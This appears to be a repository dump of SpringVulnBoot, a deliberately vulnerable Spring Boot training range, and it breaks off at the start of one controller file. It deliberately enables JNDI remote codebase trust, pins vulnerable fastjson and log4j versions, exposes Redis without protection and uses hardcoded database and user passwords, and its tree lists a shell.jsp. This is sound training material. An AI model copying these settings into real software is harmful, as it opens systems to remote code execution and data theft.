├── .dockerignore
├── .gitignore
├── Dockerfile
├── LICENSE
├── README.md
├── db.sql
├── docker-compose.yml
├── images
├── img_0.png
├── img_1.png
├── img_10.png
├── img_11.png
├── img_12.png
├── img_13.png
├── img_2.png
├── img_3.png
├── img_4.png
├── img_5.png
├── img_6.png
├── img_7.png
├── img_8.png
└── img_9.png
├── pom.xml
└── src
├── .DS_Store
├── main
├── .DS_Store
├── java
│ └── icu
│ │ └── secnotes
│ │ ├── SpringVulnBootApplication.java
│ │ ├── config
│ │ ├── CorsConfig.java
│ │ └── WebConfig.java
│ │ ├── controller
│ │ ├── AccessControll
│ │ │ ├── HorizontalPriVulnController.java
│ │ │ └── UnauthorizedPriVulnController.java
│ │ ├── Authentication
│ │ │ ├── MFAAuthVulnController.java
│ │ │ ├── PassBasedAuthVulnController.java
│ │ │ └── SmsBasedAuthVulnController.java
│ │ ├── Components
│ │ │ ├── FastjsonController.java
│ │ │ └── Log4j2Controller.java
│ │ ├── FileUpload
│ │ │ └── FileUploadController.java
│ │ ├── LoginController.java
│ │ ├── PathTraversal
│ │ │ └── PathTraversalController.java
│ │ ├── RCE
│ │ │ └── RCEController.java
│ │ ├── Redirect
│ │ │ └── RedirectController.java
│ │ ├── SQLI
│ │ │ ├── JdbcController.java
│ │ │ └── MybatisController.java
│ │ ├── SSRF
│ │ │ └── SSRFController.java
│ │ └── XSS
│ │ │ ├── ReflectedController.java
│ │ │ └── StoredController.java
│ │ ├── exception
│ │ └── GlobalExceptionHandler.java
│ │ ├── interceptor
│ │ └── LoginCheckInterceptor.java
│ │ ├── mapper
│ │ ├── LoginMapper.java
│ │ ├── MessageBoardMapper.java
│ │ ├── MfaSecretMapper.java
│ │ ├── SmsCodeMapper.java
│ │ ├── UserLoginLogMapper.java
│ │ └── UserMapper.java
│ │ ├── pojo
│ │ ├── Admin.java
│ │ ├── MessageBoard.java
│ │ ├── MfaSecret.java
│ │ ├── PageBean.java
│ │ ├── Result.java
│ │ ├── SmsCode.java
│ │ └── User.java
│ │ ├── service
│ │ ├── LoginService.java
│ │ ├── MessageBoardService.java
│ │ ├── MfaSecretService.java
│ │ ├── SmsCodeService.java
│ │ ├── UserLoginLogService.java
│ │ ├── UserService.java
│ │ └── impl
│ │ │ ├── LoginServiceImpl.java
│ │ │ ├── MessageBoardServiceImpl.java
│ │ │ ├── MfaSecretServiceImpl.java
│ │ │ ├── SmsCodeServiceImpl.java
│ │ │ ├── UserLoginLogServiceImpl.java
│ │ │ └── UserServiceImpl.java
│ │ └── utils
│ │ ├── GoogleAuthenticatorUtil.java
│ │ ├── JwtUtils.java
│ │ └── Security.java
└── resources
│ ├── .DS_Store
│ ├── ESAPI.properties
│ ├── application.yml
│ ├── log4j2.xml
│ └── static
│ └── file
│ ├── logo_text_white.png
│ └── shell.jsp
└── test
└── java
└── icu
└── secnotes
├── SpringVulnBootApplicationTests.java
└── test
├── RuntimeDemo.java
└── Sha256Test.java
/.dockerignore:
--------------------------------------------------------------------------------
1 | target/
2 | .idea/
3 | .vscode/
4 | *.iml
5 | Dockerfile
6 | docker-compose.yml
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | HELP.md
2 | target/
3 | !.mvn/wrapper/maven-wrapper.jar
4 | !**/src/main/**/target/
5 | !**/src/test/**/target/
6 | .gitignore
7 | .DS_Store
8 |
9 | ### STS ###
10 | .apt_generated
11 | .classpath
12 | .factorypath
13 | .project
14 | .settings
15 | .springBeans
16 | .sts4-cache
17 |
18 | ### IntelliJ IDEA ###
19 | .idea
20 | .vscode
21 | *.iws
22 | *.iml
23 | *.ipr
24 |
25 | ### NetBeans ###
26 | /nbproject/private/
27 | /nbbuild/
28 | /dist/
29 | /nbdist/
30 | /.nb-gradle/
31 | build/
32 | !**/src/main/**/build/
33 | !**/src/test/**/build/
34 |
35 | ### VS Code ###
36 | .vscode/
37 |
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | # 第一阶段:构建阶段
2 | FROM maven:3.9.3-eclipse-temurin-11 AS build
3 | WORKDIR /app
4 |
5 | # 配置Maven使用阿里云镜像源
6 | RUN mkdir -p /root/.m2 && \
7 | echo '' > /root/.m2/settings.xml && \
8 | echo '> /root/.m2/settings.xml && \
9 | echo ' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"' >> /root/.m2/settings.xml && \
10 | echo ' xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0 https://maven.apache.org/xsd/settings-1.0.0.xsd">' >> /root/.m2/settings.xml && \
11 | echo ' ' >> /root/.m2/settings.xml && \
12 | echo ' ' >> /root/.m2/settings.xml && \
13 | echo ' aliyunmaven' >> /root/.m2/settings.xml && \
14 | echo ' *' >> /root/.m2/settings.xml && \
15 | echo ' 阿里云公共仓库' >> /root/.m2/settings.xml && \
16 | echo ' https://maven.aliyun.com/repository/public' >> /root/.m2/settings.xml && \
17 | echo ' ' >> /root/.m2/settings.xml && \
18 | echo ' ' >> /root/.m2/settings.xml && \
19 | echo '' >> /root/.m2/settings.xml
20 |
21 | # 先复制pom文件,利用Docker缓存机制
22 | COPY pom.xml .
23 | # 下载依赖
24 | RUN mvn dependency:go-offline -B
25 |
26 | # 复制源代码
27 | COPY src ./src
28 | # 构建应用
29 | RUN mvn clean package -DskipTests -B
30 |
31 | # 第二阶段:运行阶段
32 | FROM eclipse-temurin:11-jre-jammy
33 | WORKDIR /app
34 | COPY --from=build /app/target/*.jar app.jar
35 |
36 | # 设置时区为中国时区
37 | ENV TZ=Asia/Shanghai
38 | RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone
39 |
40 | # 暴露应用端口(默认8080,可以根据实际应用端口修改)
41 | EXPOSE 8080
42 |
43 | # 启动命令
44 | ENTRYPOINT ["java", "-jar", "app.jar"]
45 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2025-present bansh2eBreak
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # SpringVulnBoot Backend
2 |
3 | ## 1、项目介绍
4 |
5 | 基于 Vue + SpringBoot 构建的 Java 安全靶场,一个专为安全爱好者、渗透测试和代码审计人员打造的实战演练平台。
6 |
7 | 1. 前端是基于流行的vue-admin-template基础模板进行改改改,[前端工程](https://github.com/bansh2eBreak/SpringVulnBoot-frontend)
8 | 2. 后端是基于SpringBoot 2.7.14开发的,[后端工程](https://github.com/bansh2eBreak/SpringVulnBoot-backend)
9 |
10 | ## 2、快速开始
11 |
12 | ### 2.1、前置条件
13 |
14 | - Docker
15 | - Docker Compose
16 | - Docker镜像加速
17 | - Git
18 |
19 | ### 2.2、安装步骤
20 |
21 | 1. 克隆前后端项目到同级目录
22 | ```bash
23 | # 创建项目目录
24 | mkdir SpringVulnBoot && cd SpringVulnBoot
25 |
26 | # 克隆前端项目
27 | git clone https://github.com/bansh2eBreak/SpringVulnBoot-frontend.git
28 |
29 | # 克隆后端项目
30 | git clone https://github.com/bansh2eBreak/SpringVulnBoot-backend.git
31 | ```
32 |
33 | 2. 启动服务
34 | ```bash
35 | # 进入后端项目目录
36 | cd SpringVulnBoot-backend
37 |
38 | # 启动所有服务
39 | docker compose up -d
40 | ```
41 |
42 | 3. 访问服务
43 | - 前端页面:http://localhost
44 | - 后端API:http://localhost:8080
45 | - MySQL数据库:localhost:13306
46 |
47 | 4. 注意
48 | - ⚠️禁止将靶场部署在生产环境,以免被恶意利用
49 | - 经过测试,容器方式部署,里面的路径穿越漏洞暂不支持,待优化
50 |
51 | ## 3.更新日志
52 | 2025/05/23:
53 | - 解决容器化部署时组件漏洞不兼容问题
54 |
55 | 2025/05/22:
56 | - 支持docker compose一键部署
57 |
58 | 2025/05/13:
59 | - 增加身份认证漏洞-MFA登录漏洞中的MFA绑定与MFA解绑操作
60 | - 增加越权漏洞:
61 | - 平行越权漏洞
62 | - 未授权访问漏洞
63 | - 垂直越权漏洞
64 |
65 | ## 4.已实现的漏洞
66 | - SQLi注入
67 | - 基于Jdbc的SQLi注入
68 | - 基于Mybatis的SQLi注入
69 | - XSS跨站脚本
70 | - 反射型XSS
71 | - 存储型XSS
72 | - 任意命令执行
73 | - Runtime方式
74 | - ProcessBuilder方式
75 | - 任意URL跳转
76 | - 路径穿越漏洞
77 | - 文件上传漏洞
78 | - 越权漏洞
79 | - 水平越权漏洞
80 | - 垂直越权漏洞
81 | - 未授权访问漏洞
82 | - 身份认证漏洞
83 | - 密码登录暴力破解
84 | - 普通的账号密码登录暴力破解
85 | - 绕过单IP限制暴力破解
86 | - HTTP Basic认证登录暴力破解
87 | - 图形验证码登录暴力破解
88 | - 短信认证漏洞
89 | - 短信轰炸
90 | - 短信验证码回显
91 | - 暴力破解短信验证码
92 | - 组件漏洞
93 | - Fastjson漏洞
94 | - Log4j2漏洞
95 |
96 | ## 5.效果图展示
97 | 
98 | 
99 | 
100 | 
101 | 
102 | 
103 | 
104 | 
105 | 
106 | 
107 | 
108 | 
109 | 
110 |
111 |
--------------------------------------------------------------------------------
/db.sql:
--------------------------------------------------------------------------------
1 | -- 设置数据库字符集
2 | ALTER DATABASE SpringVulnBoot CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci;
3 |
4 | -- 创建管理员表
5 | create table if not exists Admin
6 | (
7 | id int auto_increment
8 | primary key,
9 | name varchar(50) not null,
10 | username varchar(50) not null,
11 | password varchar(50) not null,
12 | token varchar(255) null,
13 | avatar varchar(255) default 'https://img1.baidu.com/it/u=3200425930,2413475553&fm=253&fmt=auto&app=120&f=JPEG?w=800&h=800' null,
14 | create_time datetime null,
15 | constraint username
16 | unique (username)
17 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
18 |
19 | -- 插入测试数据到Admin表
20 | INSERT INTO Admin (name, username, password, token) VALUES ('系统管理员','admin', '123456', CONCAT('token_', ROUND(UNIX_TIMESTAMP(CURTIME(4)) * 1000)));
21 | INSERT INTO Admin (name, username, password, token) VALUES ('审计员','zhangsan', '123456', CONCAT('token_', ROUND(UNIX_TIMESTAMP(CURTIME(4)) * 1000)));
22 |
23 | -- 创建留言表
24 | create table if not exists MessageBoard
25 | (
26 | id int auto_increment
27 | primary key,
28 | message varchar(200) null
29 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
30 |
31 | -- 创建用户表
32 | create table if not exists User
33 | (
34 | id int auto_increment
35 | primary key,
36 | username varchar(50) null,
37 | name varchar(50) null,
38 | password varchar(50) null
39 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
40 |
41 | -- 创建MFA密钥表
42 | create table if not exists mfa_secret
43 | (
44 | id int auto_increment
45 | primary key,
46 | userId int not null comment '用户ID',
47 | secret varchar(100) not null comment 'MFA加密串',
48 | create_time datetime null comment '创建时间',
49 | update_time datetime null comment '更新时间',
50 | constraint mfa_secret_Admin_id_fk
51 | foreign key (userId) references Admin (id)
52 | )
53 | comment 'MFA密钥表' ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
54 |
55 | create index userId
56 | on mfa_secret (userId);
57 |
58 | -- 创建短信验证码记录表
59 | create table if not exists sms_code
60 | (
61 | id bigint auto_increment
62 | primary key,
63 | phone varchar(20) not null comment '手机号',
64 | code varchar(6) not null comment '验证码',
65 | create_time datetime not null comment '创建时间',
66 | expire_time datetime not null comment '过期时间',
67 | used int default 0 null comment '是否已使用:0未使用,1已使用',
68 | retry_count int default 0 null comment '验证重试次数'
69 | )
70 | comment '短信验证码记录表' ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
71 |
72 | -- 创建用户登录日志表
73 | create table if not exists user_login_log
74 | (
75 | id int auto_increment
76 | primary key,
77 | ip varchar(50) not null,
78 | username varchar(255) not null,
79 | loginTime datetime not null
80 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
81 |
82 | -- 插入测试数据到MessageBoard表
83 | INSERT INTO MessageBoard (id, message) VALUES (1, '这个靶场真棒!');
84 | INSERT INTO MessageBoard (id, message) VALUES (2, '怎么没有命令执行漏洞系列?');
85 | INSERT INTO MessageBoard (id, message) VALUES (3, '催更!!!');
86 | INSERT INTO MessageBoard (id, message) VALUES (4, '
');
87 |
88 | -- 插入测试数据到User表
89 | INSERT INTO User (id, username, name, password) VALUES (1, 'zhangsan', '张三', '123');
90 | INSERT INTO User (id, username, name, password) VALUES (2, 'lisi', '李四', '123');
91 | INSERT INTO User (id, username, name, password) VALUES (3, 'wangwu', '王五', '123');
92 | INSERT INTO User (id, username, name, password) VALUES (4, 'user4', 'User 4', '123');
93 | INSERT INTO User (id, username, name, password) VALUES (5, 'user5', 'User 5', '123');
94 | INSERT INTO User (id, username, name, password) VALUES (6, 'user6', 'User 6', '123');
95 | INSERT INTO User (id, username, name, password) VALUES (7, 'user7', 'User 7', '123');
96 | INSERT INTO User (id, username, name, password) VALUES (8, 'user8', 'User 8', '123');
97 | INSERT INTO User (id, username, name, password) VALUES (9, 'user9', 'User 9', '123');
98 | INSERT INTO User (id, username, name, password) VALUES (10, 'user10', 'User 10', '123');
99 | INSERT INTO User (id, username, name, password) VALUES (11, 'user11', 'User 11', '123');
100 | INSERT INTO User (id, username, name, password) VALUES (12, 'user12', 'User 12', '123');
101 | INSERT INTO User (id, username, name, password) VALUES (13, 'user13', 'User 13', '123');
102 | INSERT INTO User (id, username, name, password) VALUES (14, 'user14', 'User 14', '123');
103 | INSERT INTO User (id, username, name, password) VALUES (15, 'user15', 'User 15', '123');
104 | INSERT INTO User (id, username, name, password) VALUES (16, 'user16', 'User 16', '123');
105 | INSERT INTO User (id, username, name, password) VALUES (17, 'user17', 'User 17', '123');
106 | INSERT INTO User (id, username, name, password) VALUES (18, 'user18', 'User 18', '123');
107 | INSERT INTO User (id, username, name, password) VALUES (19, 'user19', 'User 19', '123');
108 | INSERT INTO User (id, username, name, password) VALUES (20, 'user20', 'User 20', '123');
109 |
--------------------------------------------------------------------------------
/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.8'
2 |
3 | services:
4 | # 前端服务
5 | frontend:
6 | build:
7 | context: ../SpringVulnBoot-frontend
8 | dockerfile: Dockerfile
9 | image: springvulnboot-frontend:latest
10 | container_name: springvulnboot-frontend
11 | ports:
12 | - "80:80"
13 | depends_on:
14 | - app
15 | networks:
16 | - springvulnboot-network
17 |
18 | # 后端服务
19 | app:
20 | build:
21 | context: .
22 | dockerfile: Dockerfile
23 | image: springvulnboot-backend:latest
24 | container_name: springvulnboot-backend
25 | ports:
26 | - "8080:8080"
27 | environment:
28 | - SPRING_DATASOURCE_URL=jdbc:mysql://mysql:3306/SpringVulnBoot?useUnicode=true&characterEncoding=utf8&useSSL=false&serverTimezone=Asia/Shanghai&allowPublicKeyRetrieval=true
29 | - SPRING_DATASOURCE_USERNAME=root
30 | - SPRING_DATASOURCE_PASSWORD=Root1234
31 | depends_on:
32 | mysql:
33 | condition: service_healthy
34 | networks:
35 | - springvulnboot-network
36 |
37 | # MySQL数据库服务
38 | mysql:
39 | image: mysql:8.0
40 | container_name: mysql
41 | ports:
42 | - "13306:3306"
43 | environment:
44 | - MYSQL_ROOT_PASSWORD=Root1234
45 | - MYSQL_DATABASE=SpringVulnBoot
46 | - TZ=Asia/Shanghai
47 | - LANG=C.UTF-8
48 | volumes:
49 | - mysql-data:/var/lib/mysql
50 | - ./db.sql:/docker-entrypoint-initdb.d/01-init.sql
51 | command: --character-set-server=utf8mb4 --collation-server=utf8mb4_0900_ai_ci --lower_case_table_names=1 --init-connect='SET NAMES utf8mb4'
52 | networks:
53 | - springvulnboot-network
54 | healthcheck:
55 | test: ["CMD", "mysqladmin", "ping", "-h", "localhost", "-u", "root", "-pRoot1234"]
56 | interval: 5s
57 | timeout: 5s
58 | retries: 20
59 |
60 | # Redis服务(未授权访问)
61 | redis:
62 | image: redis:6.2
63 | container_name: redis
64 | ports:
65 | - "6379:6379"
66 | command: redis-server --protected-mode no # 关闭保护模式,允许未授权访问
67 | networks:
68 | - springvulnboot-network
69 |
70 | networks:
71 | springvulnboot-network:
72 | driver: bridge
73 |
74 | volumes:
75 | mysql-data:
76 | driver: local
--------------------------------------------------------------------------------
/images/img_0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bansh2eBreak/SpringVulnBoot-backend/6ad19ad8359a982ef4e7633abecb671251415369/images/img_0.png
--------------------------------------------------------------------------------
/images/img_1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bansh2eBreak/SpringVulnBoot-backend/6ad19ad8359a982ef4e7633abecb671251415369/images/img_1.png
--------------------------------------------------------------------------------
/images/img_10.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bansh2eBreak/SpringVulnBoot-backend/6ad19ad8359a982ef4e7633abecb671251415369/images/img_10.png
--------------------------------------------------------------------------------
/images/img_11.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bansh2eBreak/SpringVulnBoot-backend/6ad19ad8359a982ef4e7633abecb671251415369/images/img_11.png
--------------------------------------------------------------------------------
/images/img_12.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bansh2eBreak/SpringVulnBoot-backend/6ad19ad8359a982ef4e7633abecb671251415369/images/img_12.png
--------------------------------------------------------------------------------
/images/img_13.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bansh2eBreak/SpringVulnBoot-backend/6ad19ad8359a982ef4e7633abecb671251415369/images/img_13.png
--------------------------------------------------------------------------------
/images/img_2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bansh2eBreak/SpringVulnBoot-backend/6ad19ad8359a982ef4e7633abecb671251415369/images/img_2.png
--------------------------------------------------------------------------------
/images/img_3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bansh2eBreak/SpringVulnBoot-backend/6ad19ad8359a982ef4e7633abecb671251415369/images/img_3.png
--------------------------------------------------------------------------------
/images/img_4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bansh2eBreak/SpringVulnBoot-backend/6ad19ad8359a982ef4e7633abecb671251415369/images/img_4.png
--------------------------------------------------------------------------------
/images/img_5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bansh2eBreak/SpringVulnBoot-backend/6ad19ad8359a982ef4e7633abecb671251415369/images/img_5.png
--------------------------------------------------------------------------------
/images/img_6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bansh2eBreak/SpringVulnBoot-backend/6ad19ad8359a982ef4e7633abecb671251415369/images/img_6.png
--------------------------------------------------------------------------------
/images/img_7.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bansh2eBreak/SpringVulnBoot-backend/6ad19ad8359a982ef4e7633abecb671251415369/images/img_7.png
--------------------------------------------------------------------------------
/images/img_8.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bansh2eBreak/SpringVulnBoot-backend/6ad19ad8359a982ef4e7633abecb671251415369/images/img_8.png
--------------------------------------------------------------------------------
/images/img_9.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bansh2eBreak/SpringVulnBoot-backend/6ad19ad8359a982ef4e7633abecb671251415369/images/img_9.png
--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
4 | 4.0.0
5 |
6 | org.springframework.boot
7 | spring-boot-starter-parent
8 | 2.7.14
9 |
10 |
11 | com.nvyao
12 | SpringVulnBoot
13 | 0.0.1-SNAPSHOT
14 | SpringVulnBoot
15 | SpringVulnBoot
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 | 11
31 |
32 |
33 |
34 | org.springframework.boot
35 | spring-boot-starter-actuator
36 |
37 |
38 | org.springframework.boot
39 | spring-boot-starter-logging
40 |
41 |
42 |
43 |
44 | org.springframework.boot
45 | spring-boot-starter-web
46 |
47 |
48 | org.springframework.boot
49 | spring-boot-starter-logging
50 |
51 |
52 |
53 |
54 | org.mybatis.spring.boot
55 | mybatis-spring-boot-starter
56 | 2.3.1
57 |
58 |
59 | com.github.penggle
60 | kaptcha
61 | 2.3.2
62 |
63 |
64 | com.mysql
65 | mysql-connector-j
66 | runtime
67 |
68 |
69 | org.springframework.boot
70 | spring-boot-starter-test
71 | test
72 |
73 |
74 | org.mybatis.spring.boot
75 | mybatis-spring-boot-starter-test
76 | 2.3.1
77 | test
78 |
79 |
80 | org.projectlombok
81 | lombok
82 | true
83 |
84 |
85 | org.owasp.encoder
86 | encoder
87 | 1.2.3
88 |
89 |
90 |
91 | org.owasp.esapi
92 | esapi
93 | 2.2.0.0
94 |
95 |
96 | log4j
97 | log4j
98 |
99 |
100 | org.slf4j
101 | slf4j-api
102 |
103 |
104 | commons-logging
105 | commons-logging
106 |
107 |
108 |
109 |
110 |
111 | io.jsonwebtoken
112 | jjwt
113 | 0.9.1
114 |
115 |
116 | javax.xml.bind
117 | jaxb-api
118 | 2.3.1
119 |
120 |
121 | com.alibaba
122 | fastjson
123 | 1.2.24
124 |
125 |
126 |
127 | org.apache.logging.log4j
128 | log4j-core
129 | 2.14.0
130 |
131 |
132 | org.apache.logging.log4j
133 | log4j-api
134 | 2.14.0
135 |
136 |
137 | org.apache.logging.log4j
138 | log4j-slf4j-impl
139 | 2.14.0
140 |
141 |
142 |
143 |
144 | org.springframework.boot
145 | spring-boot-starter-validation
146 |
147 |
148 |
149 |
150 | com.warrenstrange
151 | googleauth
152 | 1.5.0
153 |
154 |
155 |
156 |
157 |
158 |
159 | org.springframework.boot
160 | spring-boot-maven-plugin
161 |
162 |
163 |
164 |
165 |
166 |
--------------------------------------------------------------------------------
/src/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bansh2eBreak/SpringVulnBoot-backend/6ad19ad8359a982ef4e7633abecb671251415369/src/.DS_Store
--------------------------------------------------------------------------------
/src/main/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bansh2eBreak/SpringVulnBoot-backend/6ad19ad8359a982ef4e7633abecb671251415369/src/main/.DS_Store
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/SpringVulnBootApplication.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes;
2 |
3 | import org.springframework.boot.SpringApplication;
4 | import org.springframework.boot.autoconfigure.SpringBootApplication;
5 | import org.springframework.boot.web.servlet.ServletComponentScan;
6 |
7 | @ServletComponentScan //开启了对servlet组件的支持
8 | @SpringBootApplication
9 | public class SpringVulnBootApplication {
10 |
11 | public static void main(String[] args) {
12 | System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
13 | System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
14 | SpringApplication.run(SpringVulnBootApplication.class, args);
15 | }
16 |
17 | }
18 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/config/CorsConfig.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.config;
2 |
3 | import com.google.code.kaptcha.impl.DefaultKaptcha;
4 | import com.google.code.kaptcha.util.Config;
5 | import org.springframework.context.annotation.Bean;
6 | import org.springframework.context.annotation.Configuration;
7 | import org.springframework.web.cors.CorsConfiguration;
8 | import org.springframework.web.cors.UrlBasedCorsConfigurationSource;
9 | import org.springframework.web.filter.CorsFilter;
10 |
11 | import java.util.Properties;
12 |
13 | @Configuration
14 | public class CorsConfig {
15 |
16 | /**
17 | * 这是因为浏览器的安全机制对跨域请求的 Cookie 处理有严格的限制。当你的前端应用(http://10.225.13.70:9528)向后端服务(http://10.225.13.70:8080)发起跨域请求,并且需要携带 Cookie(例如 JSESSIONID 用于 Session 验证)时,浏览器会执行以下安全检查:
18 | *
19 | * 检查 Access-Control-Allow-Origin: 浏览器会检查后端响应头中的 Access-Control-Allow-Origin 字段。如果这个字段的值是通配符 *,或者与发起请求的源(http://10.225.13.70:9528)不匹配,浏览器就会阻止请求,以防止跨站请求伪造(CSRF)攻击。
20 | *
21 | * 检查 Access-Control-Allow-Credentials: 如果 Access-Control-Allow-Origin 匹配,浏览器还会检查 Access-Control-Allow-Credentials 字段。如果这个字段的值不是 true,或者缺失,浏览器也会阻止请求,因为这表示服务器没有明确允许客户端携带凭据(包括 Cookie)。
22 | *
23 | * 为什么不能使用 *?
24 | *
25 | * 使用通配符 * 作为 Access-Control-Allow-Origin 的值,虽然在某些情况下可以简化配置,但是在需要携带凭据的跨域请求中,这是绝对禁止的。因为如果允许任何来源的网站都携带用户的 Cookie 发起跨域请求,那么恶意网站就可以轻易地伪造请求,窃取用户的敏感信息。
26 | *
27 | * 精确指定来源地址的重要性
28 | *
29 | * 通过将 Access-Control-Allow-Origin 设置为精确的来源地址(http://10.225.13.70:9528),你就明确告诉浏览器,只有来自这个特定来源的请求才被允许携带 Cookie。这样可以有效地防止其他网站利用你的用户的 Cookie 发起跨域请求,提高了安全性。
30 | *
31 | * 总结
32 | *
33 | * 为了确保跨域请求的安全性,并允许浏览器携带 Cookie,你必须:
34 | *
35 | * 将 Access-Control-Allow-Origin 设置为精确的来源地址,而不是通配符 *。
36 | * 将 Access-Control-Allow-Credentials 设置为 true。
37 | * 这两个设置是缺一不可的,只有同时满足这两个条件,浏览器才会允许跨域请求携带 Cookie。
38 | */
39 |
40 | @Bean
41 | public CorsFilter corsFilter() {
42 | CorsConfiguration corsConfiguration = new CorsConfiguration();
43 | corsConfiguration.setAllowCredentials(true); //这是最关键的改动,必须设置 allowCredentials 为 true,才能允许跨域请求携带 Cookie。
44 | corsConfiguration.addAllowedOrigin("http://127.0.0.1:9528");
45 | corsConfiguration.addAllowedOrigin("http://127.0.0.1");
46 | corsConfiguration.addAllowedOrigin("http://localhost:9528");
47 | corsConfiguration.addAllowedOrigin("http://localhost");
48 | corsConfiguration.addAllowedMethod("*"); // 允许所有请求方法
49 | corsConfiguration.addAllowedHeader("*"); // 允许所有请求头部
50 |
51 | UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
52 | source.registerCorsConfiguration("/**", corsConfiguration);
53 | return new CorsFilter(source);
54 | }
55 |
56 | @Bean
57 | public DefaultKaptcha defaultKaptcha() {
58 | DefaultKaptcha defaultKaptcha = new DefaultKaptcha();
59 | Properties properties = new Properties();
60 | properties.setProperty("kaptcha.border", "yes"); // 图片边框
61 | properties.setProperty("kaptcha.border.color", "105,179,90"); // 边框颜色
62 | properties.setProperty("kaptcha.textproducer.font.color", "blue"); // 字体颜色
63 | properties.setProperty("kaptcha.image.width", "110"); // 图片宽度
64 | properties.setProperty("kaptcha.image.height", "40"); // 图片高度
65 | properties.setProperty("kaptcha.textproducer.font.size", "30"); // 字体大小
66 | properties.setProperty("kaptcha.session.key", "code"); // Session Key
67 | properties.setProperty("kaptcha.textproducer.char.length", "4"); // 验证码长度
68 | properties.setProperty("kaptcha.textproducer.font.names", "Arial,Courier"); // 字体
69 | Config config = new Config(properties);
70 | defaultKaptcha.setConfig(config);
71 | return defaultKaptcha;
72 | }
73 |
74 | }
75 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/config/WebConfig.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.config;
2 |
3 | import icu.secnotes.interceptor.LoginCheckInterceptor;
4 | import org.springframework.beans.factory.annotation.Autowired;
5 | import org.springframework.context.annotation.Configuration;
6 | import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
7 | import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
8 |
9 | @Configuration
10 | public class WebConfig implements WebMvcConfigurer {
11 | @Autowired
12 | private LoginCheckInterceptor loginCheckInterceptor;
13 |
14 | @Override
15 | public void addInterceptors(InterceptorRegistry registry) {
16 | registry.addInterceptor(loginCheckInterceptor).addPathPatterns("/**").excludePathPatterns("/login").excludePathPatterns("/openUrl/**")
17 | .excludePathPatterns("/authentication/passwordBased/captcha")
18 | .excludePathPatterns("/accessControl/UnauthorizedPri/vuln1/**");
19 | }
20 |
21 | }
22 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/controller/AccessControll/HorizontalPriVulnController.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.controller.AccessControll;
2 |
3 | import com.warrenstrange.googleauth.GoogleAuthenticatorKey;
4 | import icu.secnotes.pojo.MfaSecret;
5 | import icu.secnotes.pojo.Result;
6 | import icu.secnotes.service.MfaSecretService;
7 | import icu.secnotes.utils.GoogleAuthenticatorUtil;
